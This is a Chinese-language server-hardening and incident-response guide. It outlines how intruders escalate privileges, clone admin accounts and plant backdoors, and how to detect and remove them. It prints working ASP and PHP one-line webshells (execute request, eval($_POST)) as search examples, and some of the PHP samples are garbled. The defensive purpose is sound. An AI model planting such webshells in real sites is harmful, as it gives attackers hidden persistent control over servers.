一 ：分析 入侵与放后门过程
1,通过网站漏洞进入后提权然后克隆管理员账号
2,上传ASP或PHP木马并隐蔽深的目录
3,通过入侵C段机器ARP目标主机得到敏感信息
4,社会工程学入侵 （MINCK有本著作《欺骗的艺术》)
四.留后门
比如鸽子远程控制软件,radmin远控软件等
系统级后门 之门:hxdef100( 守卫者) 粘贴键后门 administrators万能
密码后门 Rootkit等
五.asp或php一句话后门.
二.账号安全性检查
1.查看有没有可疑用户登录:
方法一:在计算机管理里面查看用户,有没有新建立的.
方法二:进入C:\Documents and Settings目录,看看有没有可疑账户的文文件夹.
方法三:到事件查看器里的安全日志里查看成功登录的有没有可疑用户.
2.查看管理员用户有没有被克隆
特点注意被禁用的guest用户.
方法:到注册表里检测
HKEY_LOCAL_MAICHINE\SAM\SAM\Domains\account\users
HKEY_LOCAL_MAICHINE\SAM\SAM\Domains\account\user\names\
三.检查ASP木马和PHP木马
技巧:
1.在整个网站或论坛的文件夹上单击右键搜索
2.在全部或部分文件名里输入.php 或asp,在查找范围里选你的整个网站文件夹或整个论坛的文件夹.
提示:在全部或部分文件名里,也可以不输,这样就搜出任何文件,从这些文件中我们就可以看出是不是木马,后门之类的可疑程序..(这些程序不一定是php,asp,可能是exe等其它后缀名的后门程序)
3.然后点击---什么时候修改的?----指定日期---输入你的网站或论坛被入侵的日期.(修改文件的日期)----然后点击搜索.
提示:因为我们的网站程序和论坛程序.asp或.php文件非常多,不可能一个一个去查找是不是木马,所以非常巧的利用被修改的或被创建的指定日期来大大的缩小范围,这样就比较容易找出木马来.
_____________________________________________________________
一般入侵者上传木马时--------选创建日期
在正常程序中插入木马时------选修改日期
_____________________________________________________________
4.判断asp或php是不是木马的方法,有二种
1>.直接打开每个程序,看看里面的代码,有些是加密过的,所以一般很容易分辨出来.
2>.还有一种方法就是直接在浏览器里输入整个网址,看看这个文件会显示什么内容,是木马的话就直接显示一个登录密码的框,所以也一下子就知道是木马.
四.检查asp和php的一句话后门.
一般入侵者在得到一个网站的webshell后,为了以后再能进来,一般会在网页中插入一句话木马,方便以后进来,一句话木马隐蔽性非常强,在这么多文件中,我们根
本不知道插在哪个文件里面,如果一个一个找,一个一个搜,是不太可能的.所以我们要掌握一定的技巧.
asp的一句话后门:
"〈%execute request("l")%〉"
PHP的一句话后门:
第一种:
EOT;
eval($a);
print << 第二钟: 2. a′]=′aa′;eval($_POST[′a′]);// 第三种: 3. a′;eval($_POST[′a′]);// 运用的检查方法和检测asp或php木马一样,先在搜索指定日期被修改的或创建的文件,然后一个一个文件内容里搜索以下关键字: asp一句话木马: 搜索关键字:〈%execute PHP一句话木马:搜索关键字:eval 一般通过上面的方法很快就查出一句话后门搜在哪个页面里面. 五.检测服务器的木马与后门程序. 木马类:鸽子 radmin 后门类:hxdef100( 守卫者) Rootkit 内核级后门,隐蔽性强一般 在得到系统权后,为了进一步控制系统一般会以下组合:功能强大的远控软件 + 后门 + asp PHP 木马 + 一句话后门 ----------------------------------------------------- 检测方法: 冰刃---可以查出常见的远程控制软件 入的进程以红色显示. 用冰刃结合可疑的服务,端口,进程和注册表项来综合检测. rkdetector---可检测出hxdef100 ,Rootkit. 清除方法: 对于鸽子---金山出的鸽子专杀 +鸽子专杀(所用版本) 对于hxdef100 net stop HackerDefender100 搜索hxdef100.exe和hxdef100.ini;找到后删除就可以了. 注:对于phpwind论坛还要检查的: 1.看看有没有被管理修改上传类型文件,比如改成了可以直接上传php 2.看看有没有在后台风格或其它地方插入了php一句话木马. 3.查看可疑的新建的管理员,等安全检测安全..
---------------------------恢复善后工作---------------------------
一：清除 入侵时留下的系统木马 脚本后门 DEL掉 建立的隐藏账户 修复网站自身漏洞达到加强安全作用
二：对 入侵时所留下的所有相关文件 日志 木马 黑页等做个备份 将来可以做追究其责任 一般你的如果不是什么敏感级的站点他是不会出动数十台傀儡机做vpn进行渗透的
三： 服务器安装ARP防火墙， 如果IP没有绑定MAC的话绑定了 必要的绑定网关
四； 注意自己的网络习惯， 如果是经常注册一些论坛的话密码不要都是一样的， 那样会很容易被社工 资料最好不要用真实的
五； 在没有确认对方真实身份的时候不要相信任何人， 即使是你最亲密 最要好的